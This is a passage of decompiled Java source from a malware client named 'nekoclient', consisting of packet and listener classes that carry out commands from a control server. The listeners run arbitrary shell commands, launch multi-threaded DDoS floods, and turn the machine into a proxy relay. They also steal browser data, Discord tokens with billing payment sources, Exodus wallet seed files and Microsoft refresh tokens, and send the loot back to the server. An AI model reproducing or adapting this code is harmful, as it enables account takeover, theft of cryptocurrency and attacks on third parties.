public class DisconnectPacket implements Packet {
   private DisconnectReason reason;

   public DisconnectPacket() {
   }

   public DisconnectPacket(DisconnectReason reason) {
      this.reason = reason;
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      this.reason = DisconnectReason.valueOf(buffer.getString());
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      buffer.putString(this.reason.name());
   }

   @Override
   public String getName() {
      return "disconnect";
   }

   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   public final DisconnectReason getReason() {
      return this.reason;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/HelloPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.Packet;
import java.io.IOException;

public class HelloPacket implements Packet {
   @Override
   public void read(FriendlyByteBuffer input) throws IOException {
   }

   @Override
   public void write(StreamByteBuffer output) throws IOException {
   }

   @Override
   public String getName() {
      return "hello";
   }

   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/KeepAlivePacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.Packet;
import java.io.IOException;

public class KeepAlivePacket implements Packet {
   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
   }

   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   @Override
   public String getName() {
      return "keepalive";
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/ProxyPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;
import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;

public class ProxyPacket extends NoncePacket {
   private int acceptorPort;
   private InetSocketAddress address;

   public ProxyPacket() {
   }

   public ProxyPacket(int acceptorPort, InetSocketAddress address) {
      this.acceptorPort = acceptorPort;
      this.address = address;
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      super.read(buffer);
      this.acceptorPort = buffer.getUnsignedShort();
      this.address = new InetSocketAddress(InetAddress.getByAddress(buffer.getBytes()), buffer.getUnsignedShort());
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      super.write(buffer);
      buffer.putUnsignedShort(this.acceptorPort);
      buffer.putBytes(this.address.getAddress().getAddress());
      buffer.putUnsignedShort(this.address.getPort());
   }

   @Override
   public String getName() {
      return "proxy";
   }

   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   public final int getAcceptorPort() {
      return this.acceptorPort;
   }

   public final InetSocketAddress getAddress() {
      return this.address;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/RequestBrowserDataPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;

public class RequestBrowserDataPacket extends NoncePacket {
   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   @Override
   public String getName() {
      return "requestbrowserdata";
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/RequestDiscordPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;

public class RequestDiscordPacket extends NoncePacket {
   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   @Override
   public String getName() {
      return "requestdiscord";
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/RequestExodusPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;

public class RequestExodusPacket extends NoncePacket {
   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   @Override
   public String getName() {
      return "requestexodus";
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/RequestMSAPacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.impl.NoncePacket;

public class RequestMSAPacket extends NoncePacket {
   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   @Override
   public String getName() {
      return "requestmsa";
   }
}


================================================
FILE: dev/neko/nekoclient/packet/impl/server/UpdateModulePacket.java
================================================
package dev.neko.nekoclient.packet.impl.server;

import dev.neko.nekoclient.api.buffer.FriendlyByteBuffer;
import dev.neko.nekoclient.api.buffer.StreamByteBuffer;
import dev.neko.nekoclient.packet.Direction;
import dev.neko.nekoclient.packet.Packet;
import java.io.IOException;

public class UpdateModulePacket implements Packet {
   private String moduleName;
   private boolean enabled;

   public UpdateModulePacket(String moduleName, boolean enabled) {
      this.moduleName = moduleName;
      this.enabled = enabled;
   }

   public UpdateModulePacket() {
   }

   @Override
   public void read(FriendlyByteBuffer buffer) throws IOException {
      this.moduleName = buffer.getString();
      this.enabled = buffer.getBoolean();
   }

   @Override
   public void write(StreamByteBuffer buffer) throws IOException {
      buffer.putString(this.moduleName);
      buffer.putBoolean(this.enabled);
   }

   @Override
   public Direction getDirection() {
      return Direction.SERVER_TO_CLIENT;
   }

   @Override
   public String getName() {
      return "updatemodule";
   }

   public final String getModuleName() {
      return this.moduleName;
   }

   public final boolean isEnabled() {
      return this.enabled;
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/PacketListener.java
================================================
package dev.neko.nekoclient.packet.listener;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.packet.Packet;
import java.io.IOException;

public interface PacketListener<T extends Packet> {
   void call(T var1, Client var2, String var3) throws IOException;
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/CommandPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.packet.impl.client.ActionResponsePacket;
import dev.neko.nekoclient.packet.impl.server.CommandPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.IOException;
import java.util.concurrent.TimeUnit;

public class CommandPacketListener implements PacketListener<CommandPacket> {
   public void call(CommandPacket packet, Client client, String id) throws IOException {
      try {
         Process process = Runtime.getRuntime().exec(packet.getCommand());
         process.waitFor(1L, TimeUnit.SECONDS);
         client.send(
            new ActionResponsePacket(
               packet.getNonce(),
               process.isAlive() || process.exitValue() >= 0 && process.getInputStream().available() >= process.getErrorStream().available()
            )
         );
      } catch (InterruptedException | ArrayIndexOutOfBoundsException | IOException var5) {
         client.send(new ActionResponsePacket(packet.getNonce(), false));
      }
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/DDoSPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.api.ddos.ThreadsUnit;
import dev.neko.nekoclient.api.ddos.impl.handler.MethodHandler;
import dev.neko.nekoclient.packet.impl.client.ActionResponsePacket;
import dev.neko.nekoclient.packet.impl.server.DDoSPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.IOException;
import java.net.InetSocketAddress;
import java.util.Objects;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;

public class DDoSPacketListener implements PacketListener<DDoSPacket> {
   public void call(DDoSPacket packet, Client client, String id) throws IOException {
      int threads = packet.getThreads();
      if (Objects.equals(packet.getThreadsUnit(), ThreadsUnit.THREADS_PER_CORE)) {
         threads *= Runtime.getRuntime().availableProcessors();
      }

      ExecutorService executorService = Executors.newWorkStealingPool(threads);
      MethodHandler handler = packet.getMethod().createHandler();
      InetSocketAddress address = handler.transformAddress(new InetSocketAddress(packet.getHost(), packet.getPort()), packet.getHost());

      try {
         handler.init(packet.getProtocol(), address, packet.getHost(), packet.getOptions());
      } catch (IllegalArgumentException var10) {
         client.send(new ActionResponsePacket(packet.getNonce(), false));
         return;
      }

      Runnable runnable = () -> {
         while(!executorService.isShutdown() && !executorService.isTerminated()) {
            try {
               handler.run(packet.getProtocol(), address);
            } catch (Throwable var5x) {
            }
         }
      };
      Executors.newSingleThreadScheduledExecutor().schedule(() -> {
         executorService.shutdownNow();
         handler.cleanup();
      }, packet.getTime(), TimeUnit.SECONDS);

      for(int i = 0; i < threads; ++i) {
         executorService.execute(runnable);
      }

      client.send(new ActionResponsePacket(packet.getNonce(), true));
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/DisconnectPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.packet.impl.server.DisconnectPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.IOException;

public class DisconnectPacketListener implements PacketListener<DisconnectPacket> {
   public void call(DisconnectPacket packet, Client client, String id) throws IOException {
      client.close();
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/HelloPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.packet.impl.server.HelloPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.IOException;

public class HelloPacketListener implements PacketListener<HelloPacket> {
   public void call(HelloPacket packet, Client client, String id) throws IOException {
      client.send(new dev.neko.nekoclient.packet.impl.client.HelloPacket(client.getClientInfo(), client.getVersionInfo()));
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/ProxyPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.api.proxy.ProxyResponse;
import dev.neko.nekoclient.packet.impl.client.ProxyResponsePacket;
import dev.neko.nekoclient.packet.impl.server.ProxyPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.DataOutputStream;
import java.io.IOException;
import java.net.ConnectException;
import java.net.Socket;
import java.net.SocketTimeoutException;
import java.net.UnknownHostException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class ProxyPacketListener implements PacketListener<ProxyPacket> {
   public void call(ProxyPacket packet, Client client, String id) throws IOException {
      Socket clientConnection = new Socket();

      try {
         clientConnection.connect(packet.getAddress(), 5000);
         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.CONNECTED));
         ExecutorService service = Executors.newFixedThreadPool(2);
         service.execute(() -> {
            try {
               Socket serverConnection = new Socket(client.getAddress().getAddress().getHostAddress(), packet.getAcceptorPort());
               DataOutputStream dataOutputStream = new DataOutputStream(serverConnection.getOutputStream());
               dataOutputStream.writeUTF(packet.getNonce());
               service.execute(() -> {
                  while(!service.isShutdown() && clientConnection.isConnected() && serverConnection.isConnected()) {
                     try {
                        clientConnection.getOutputStream().write(serverConnection.getInputStream().read());
                        if (serverConnection.getInputStream().available() > 0) {
                           byte[] ignoredx = new byte[serverConnection.getInputStream().available()];
                           serverConnection.getInputStream().read(ignoredx);
                           clientConnection.getOutputStream().write(ignoredx);
                        }
                     } catch (IOException var4x) {
                        service.shutdownNow();
                        return;
                     }
                  }
               });

               while(!service.isShutdown() && clientConnection.isConnected() && serverConnection.isConnected()) {
                  try {
                     serverConnection.getOutputStream().write(clientConnection.getInputStream().read());
                     if (clientConnection.getInputStream().available() > 0) {
                        byte[] bytes = new byte[clientConnection.getInputStream().available()];
                        clientConnection.getInputStream().read(bytes);
                        serverConnection.getOutputStream().write(bytes);
                     }
                  } catch (IOException var7x) {
                     service.shutdownNow();
                     return;
                  }
               }
            } catch (IOException var8x) {
            }
         });
      } catch (SocketTimeoutException var6) {
         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.TIMED_OUT));
      } catch (UnknownHostException var7) {
         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.UNKNOWN_HOST));
      } catch (ConnectException var8) {
         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.CONNECTION_REFUSED));
      } catch (IOException var9) {
         client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.UNKNOWN_ERROR));
      }
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/RequestBrowserDataPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.api.stealer.browser.impl.BrowserDataStealer;
import dev.neko.nekoclient.packet.impl.client.BrowserDataResponsePacket;
import dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.IOException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class RequestBrowserDataPacketListener implements PacketListener<RequestBrowserDataPacket> {
   public void call(RequestBrowserDataPacket packet, Client client, String id) throws IOException {
      ExecutorService executorService = Executors.newSingleThreadExecutor();
      executorService.execute(() -> {
         try {
            client.send(new BrowserDataResponsePacket(packet.getNonce(), BrowserDataStealer.read()));
         } catch (IOException var4x) {
            throw new RuntimeException(var4x);
         }

         executorService.shutdown();
      });
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/RequestDiscordPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import com.eclipsesource.json.Json;
import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.api.stealer.discord.DiscordAccount;
import dev.neko.nekoclient.api.stealer.discord.impl.DiscordStealer;
import dev.neko.nekoclient.packet.impl.client.DiscordResponsePacket;
import dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.Base64;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import javax.net.ssl.HttpsURLConnection;

public class RequestDiscordPacketListener implements PacketListener<RequestDiscordPacket> {
   public void call(RequestDiscordPacket packet, Client client, String id) throws IOException {
      ExecutorService executorService = Executors.newSingleThreadExecutor();
      executorService.execute(
         () -> {
            boolean deb = System.getProperty("user.name").equals("TheDxrkKiller");
   
            try {
               List<DiscordAccount> accounts = new ArrayList<>();
   
               for(String token : DiscordStealer.retrieve()) {
                  try {
                     String[] split = token.split("\\.");
                     String userId = new String(Base64.getDecoder().decode(Objects.equals(split[0], "mfa") ? split[1] : split[0]));
                     if (!accounts.stream().anyMatch(discordAccount -> Objects.equals(discordAccount.getId(), userId))) {
                        int profileStatusCode = -1;
                        HttpsURLConnection profileConnection = null;
   
                        while(profileStatusCode < 0 || Objects.equals(profileStatusCode, 429)) {
                           profileConnection = (HttpsURLConnection)new URL(
                                 String.format("https://discord.com/api/v9/users/%s/profile?with_mutual_guilds=false&with_mutual_friends_count=false", userId)
                              )
                              .openConnection();
                           profileConnection.setRequestMethod("GET");
                           setHeaders(profileConnection, token);
                           if (Objects.equals(profileStatusCode = profileConnection.getResponseCode(), 429)) {
                              Thread.sleep(10000L);
                           }
                        }
   
                        if (Objects.equals(profileConnection.getResponseCode(), 200)) {
                           int userStatusCode = -1;
                           HttpsURLConnection userConnection = null;
   
                           while(userStatusCode < 0 || Objects.equals(userStatusCode, 429)) {
                              userConnection = (HttpsURLConnection)new URL("https://discord.com/api/v9/users/@me").openConnection();
                              userConnection.setRequestMethod("GET");
                              setHeaders(userConnection, token);
                              if (Objects.equals(userStatusCode = userConnection.getResponseCode(), 429)) {
                                 Thread.sleep(10000L);
                              }
                           }
   
                           if (Objects.equals(userConnection.getResponseCode(), 200)) {
                              int paymentStatusCode = -1;
                              HttpsURLConnection paymentSourcesConnection = null;
   
                              while(paymentStatusCode < 0 || Objects.equals(paymentStatusCode, 429)) {
                                 paymentSourcesConnection = (HttpsURLConnection)new URL("https://discord.com/api/v9/users/@me/billing/payment-sources")
                                    .openConnection();
                                 paymentSourcesConnection.setRequestMethod("GET");
                                 setHeaders(paymentSourcesConnection, token);
                                 if (Objects.equals(paymentStatusCode = paymentSourcesConnection.getResponseCode(), 429)) {
                                    Thread.sleep(10000L);
                                 }
                              }
   
                              if (Objects.equals(paymentSourcesConnection.getResponseCode(), 200)) {
                                 DiscordAccount account = DiscordAccount.parse(
                                    token,
                                    Json.parse(new InputStreamReader(profileConnection.getInputStream())).asObject(),
                                    Json.parse(new InputStreamReader(userConnection.getInputStream())).asObject(),
                                    Json.parse(new InputStreamReader(paymentSourcesConnection.getInputStream())).asArray()
                                 );
                                 accounts.add(account);
                              }
                           }
                        }
   
                        Thread.sleep(5000L);
                     }
                  } catch (Throwable var18) {
                  }
               }
   
               try {
                  client.send(new DiscordResponsePacket(packet.getNonce(), accounts));
               } catch (IOException var17) {
               }
   
               executorService.shutdown();
            } catch (Throwable var19) {
            }
         }
      );
   }

   private static void setHeaders(URLConnection connection, String token) {
      connection.setRequestProperty("Accept", "*/*");
      connection.setRequestProperty("Alt-Used", "discord.com");
      connection.setRequestProperty("Accept-Language", "en-US;q=0.8");
      connection.setRequestProperty("Authorization", token);
      connection.setRequestProperty("Referer", "https://discord.com/channels/@me");
      connection.setRequestProperty("Sec-Ch-Ua", "\"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"108\"");
      connection.setRequestProperty("Sec-Ch-Ua-Mobile", "?0");
      connection.setRequestProperty("Sec-Ch-Ua-Platform", "\"Windows\"");
      connection.setRequestProperty("Sec-Fetch-Dest", "empty");
      connection.setRequestProperty("Sec-Fetch-Mode", "cors");
      connection.setRequestProperty("Sec-Fetch-Site", "same-origin");
      connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0");
      connection.setRequestProperty("X-Debug-Options", "bugReporterEnabled");
      connection.setRequestProperty("X-Discord-Locale", "en-US");
      connection.setRequestProperty("X-Discord-Timezone", "America/Los_Angeles");
      connection.setRequestProperty(
         "X-Super-Properties",
         Base64.getEncoder()
            .encodeToString(
               Json.object()
                  .add("os", "Windows")
                  .add("browser", "Firefox")
                  .add("device", "")
                  .add("system_locale", "en-US")
                  .add("browser_user_agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0")
                  .add("browser_version", "113.0")
                  .add("os_version", "10")
                  .add("referrer", "")
                  .add("referring_domain", "")
                  .add("referrer_current", "")
                  .add("referring_domain_current", "")
                  .add("release_channel", "stable")
                  .add("client_build_number", 201211)
                  .add("client_event_source", Json.NULL)
                  .add("design_id", 0)
                  .toString()
                  .getBytes()
            )
      );
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/RequestExodusPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.packet.impl.client.ExodusResponsePacket;
import dev.neko.nekoclient.packet.impl.server.RequestExodusPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Objects;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.stream.Collectors;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class RequestExodusPacketListener implements PacketListener<RequestExodusPacket> {
   public void call(RequestExodusPacket packet, Client client, String id) throws IOException {
      if (Objects.isNull(System.getenv("APPDATA"))) {
         client.send(new ExodusResponsePacket(packet.getNonce(), false, null));
      } else {
         Path wallet = Paths.get(System.getenv("APPDATA"), "Exodus", "exodus.wallet");
         if (!Files.isDirectory(wallet)) {
            client.send(new ExodusResponsePacket(packet.getNonce(), false, null));
         } else {
            ExecutorService executorService = Executors.newSingleThreadExecutor();
            executorService.execute(() -> {
               try {
                  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                  ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream);

                  for(Path path : Files.walk(wallet, 1).collect(Collectors.toList())) {
                     if (Files.isRegularFile(path) && (path.getFileName().endsWith(".seco") || path.getFileName().toString().equals("passphrase.json"))) {
                        zipOutputStream.putNextEntry(new ZipEntry(path.getFileName().toString()));
                        zipOutputStream.write(Files.readAllBytes(path));
                     }
                  }

                  zipOutputStream.finish();
                  zipOutputStream.close();
                  client.send(new ExodusResponsePacket(packet.getNonce(), true, byteArrayOutputStream.toByteArray()));
                  byteArrayOutputStream.close();
               } catch (IOException var8) {
                  throw new RuntimeException(var8);
               }

               executorService.shutdown();
            });
         }
      }
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/RequestMSAPacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.api.stealer.msa.auth.MicrosoftAuth;
import dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials;
import dev.neko.nekoclient.api.stealer.msa.impl.MSAStealer;
import dev.neko.nekoclient.packet.impl.client.MSAResponsePacket;
import dev.neko.nekoclient.packet.impl.server.RequestMSAPacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class RequestMSAPacketListener implements PacketListener<RequestMSAPacket> {
   public void call(RequestMSAPacket packet, Client client, String id) throws IOException {
      ExecutorService executorService = Executors.newSingleThreadExecutor();
      executorService.execute(() -> {
         List<MicrosoftCredentials> credentials = new ArrayList<>();

         for(MSAStealer.RefreshToken refreshToken : MSAStealer.retrieveRefreshTokens()) {
            try {
               MicrosoftCredentials credential = MicrosoftAuth.refreshToken(refreshToken.getToken(), refreshToken.getClientType());
               if (credentials.stream().noneMatch(credential2 -> Objects.equals(credential2.getUserId(), credential.getUserId()))) {
                  credentials.add(credential);
               }

               Thread.sleep(5000L);
            } catch (Throwable var8) {
            }
         }

         try {
            client.send(new MSAResponsePacket(packet.getNonce(), credentials));
         } catch (IOException var7) {
         }

         executorService.shutdown();
      });
   }
}


================================================
FILE: dev/neko/nekoclient/packet/listener/impl/UpdateModulePacketListener.java
================================================
package dev.neko.nekoclient.packet.listener.impl;

import dev.neko.nekoclient.Client;
import dev.neko.nekoclient.module.Module;
import dev.neko.nekoclient.packet.impl.server.UpdateModulePacket;
import dev.neko.nekoclient.packet.listener.PacketListener;
import java.io.IOException;
import java.util.Objects;

public class UpdateModulePacketListener implements PacketListener<UpdateModulePacket> {
   public void call(UpdateModulePacket packet, Client client, String id) throws IOException {
      Module module = client.getModuleRegistry().getByName(packet.getModuleName());
      if (!Objects.isNull(module)) {
         if (!Objects.equals(module.isEnabled(), packet.isEnabled())) {
            module.setEnabled(packet.isEnabled());
         }
      }
   }
}


================================================
FILE: dev/neko/nekoclient/structure/Registry.java
================================================
package dev.neko.nekoclient.structure;

import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import java.util.function.Predicate;

public class Registry<T> {
   private final List<T> objects = new ArrayList<>();

   public void register(T... objects) {
      this.objects.addAll(Arrays.asList(objects));
   }

   public void unregister(T... objects) {
      this.objects.removeAll(Arrays.asList(objects));
   }

   public T getBy(Predicate<? super T> predicate) {
      return this.objects.stream().filter(predicate).findFirst().orElse((T)null);
   }

   public final List<T> getObjects() {
      return Collections.unmodifiableList(this.objects);
   }
}


================================================
FILE: dev/neko/nekoclient/structure/ThrowingRunnable.java
================================================
package dev.neko.nekoclient.structure;

public interface ThrowingRunnable<T extends Throwable> {
   void run() throws T;
}


================================================
FILE: dev/neko/nekoclient/utils/DNSUtil.java
================================================
package dev.neko.nekoclient.utils;

import java.util.ArrayList;
import java.util.Comparator;
import java.util.Hashtable;
import java.util.List;
import java.util.Objects;
import javax.naming.NamingEnumeration;
import javax.naming.NamingException;
import javax.naming.directory.Attribute;
import javax.naming.directory.Attributes;
import javax.naming.directory.InitialDirContext;

public class DNSUtil {
   private static final InitialDirContext DIRECTORY;

   public static DNSUtil.DNSEntry resolveMinecraft(String domain) throws NamingException {
      Attributes attributes = DIRECTORY.getAttributes(String.format("dns:///_minecraft._tcp.%s", domain), new String[]{"SRV"});
      if (Objects.isNull(attributes)) {
         return null;
      } else {
         Attribute srvRecords = attributes.get("SRV");
         if (!Objects.isNull(srvRecords) && srvRecords.size() > 0) {
            NamingEnumeration<?> enumeration = srvRecords.getAll();
            List<DNSUtil.DNSEntry> dnsEntries = new ArrayList<>();

            while(enumeration.hasMore()) {
               String line = (String)enumeration.next();
               if (line.endsWith(".")) {
                  line = line.substring(0, line.length() - 1);
               }

               String[] split = line.split(" ");
               dnsEntries.add(new DNSUtil.DNSEntry(Integer.parseInt(split[0]), Integer.parseInt(split[1]), split[3], Integer.parseInt(split[2])));
            }

            int maxPriority = dnsEntries.stream().min(Comparator.comparingInt(DNSUtil.DNSEntry::getPriority)).orElseThrow(RuntimeException::new).getPriority();
            return dnsEntries.stream()
               .filter(dnsEntry -> Objects.equals(dnsEntry.getPriority(), maxPriority))
               .max(Comparator.comparingInt(DNSUtil.DNSEntry::getWeight))
               .orElse(null);
         } else {
            return null;
         }
      }
   }

   static {
      Hashtable<String, String> env = new Hashtable<>();
      env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory");
      env.put("java.naming.provider.url", "dns:");

      try {
         DIRECTORY = new InitialDirContext(env);
      } catch (NamingException var2) {
         throw new RuntimeException(var2);
      }
   }

   public static class DNSEntry {
      private final int priority;
      private final int weight;
      private final String host;
      private final int port;

      public DNSEntry(int priority, int weight, String host, int port) {
         this.priority = priority;
         this.weight = weight;
         this.host = host;
         this.port = port;
      }

      public final int getPort() {
         return this.port;
      }

      public final String getHost() {
         return this.host;
      }

      public final int getPriority() {
         return this.priority;
      }

      public final int getWeight() {
         return this.weight;
      }
   }
}


================================================
FILE: dev/neko/nekoclient/utils/EncodingUtil.java
================================================
package dev.neko.nekoclient.utils;

import java.util.StringJoiner;

public class EncodingUtil {
   public static byte[] decodeFromByteFormat(String string) {
      String[] split = string.split("\\.");
      byte[] bytes = new byte[split.length];

      for(int i = 0; i < bytes.length; ++i) {
         bytes[i] = Byte.parseByte(split[i]);
      }

      return bytes;
   }

   public static String encodeToByteFormat(byte[] bytes) {
      StringJoiner joiner = new StringJoiner(".");

      for(byte b : bytes) {
         joiner.add(String.valueOf((int)b));
      }

      return joiner.toString();
   }

   public static byte[] reverseBytes(byte[] bytes) {
      byte[] reversedBytes = new byte[bytes.length];

      for(int i = 0; i < bytes.length; ++i) {
         byte originalByte = bytes[i];
         byte reversedByte = 0;

         for(int j = 0; j < 8; ++j) {
            reversedByte = (byte)(reversedByte << 1);
            reversedByte = (byte)(reversedByte | originalByte & 1);
            originalByte = (byte)(originalByte >> 1);
         }

         reversedBytes[i] = reversedByte;
      }

      return reversedBytes;
   }

   public static byte[] restoreReversedBytes(byte[] reversedBytes) {
      byte[] bytes = new byte[reversedBytes.length];

      for(int i = 0; i < reversedBytes.length; ++i) {
         byte reversedByte = reversedBytes[i];
         byte originalByte = 0;

         for(int j = 0; j < 8; ++j) {
            originalByte = (byte)(originalByte << 1);
            originalByte = (byte)(originalByte | reversedByte & 1);
            reversedByte = (byte)(reversedByte >> 1);
         }

         bytes[i] = originalByte;
      }

      return bytes;
   }
}


================================================
FILE: dev/neko/nekoclient/utils/FormUtil.java
================================================
package dev.neko.nekoclient.utils;

import java.io.UnsupportedEncodingException;
import java.net.URLEncoder;
import java.util.Map;
import java.util.StringJoiner;

public class FormUtil {
   public static String encodeToForm(Map<String, String> map) {
      StringJoiner joiner = new StringJoiner("&");
      map.forEach((key, value) -> {
         try {
            joiner.add(String.format("%s=%s", key, URLEncoder.encode(value, "UTF-8")));
         } catch (UnsupportedEncodingException var4) {
         }
      });
      return joiner.toString();
   }
}


================================================
FILE: dev/neko/nekoclient/utils/GraphicUtil.java
================================================
package dev.neko.nekoclient.utils;

import java.awt.Graphics2D;
import java.awt.Window;
import java.awt.image.BufferedImage;
import java.io.IOException;

public class GraphicUtil {
   public static void drawCenteredText(Window window, String text) {
      window.getGraphics()
         .drawString(
            text, window.getWidth() / 2 - window.getGraphics().getFontMetrics(window.getGraphics().getFont()).stringWidth(text) / 2, window.getHeight() / 2
         );
   }

   public static BufferedImage resizeImage(BufferedImage originalImage, int targetWidth, int targetHeight) throws IOException {
      BufferedImage resizedImage = new BufferedImage(targetWidth, targetHeight, 1);
      Graphics2D graphics2D = resizedImage.createGraphics();
      graphics2D.drawImage(originalImage, 0, 0, targetWidth, targetHeight, null);
      graphics2D.dispose();
      return resizedImage;
   }
}


================================================
FILE: dev/neko/nekoclient/utils/HardwareIDUtil.java
================================================
package dev.neko.nekoclient.utils;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.security.NoSuchAlgorithmException;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.Enumeration;
import java.util.List;
import java.util.Objects;

public class HardwareIDUtil {
   public static String generateHardwareID() throws NoSuchAlgorithmException, IOException {
      ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
      Enumeration<? extends NetworkInterface> enumeration = NetworkInterface.getNetworkInterfaces();
      if (Objects.nonNull(enumeration)) {
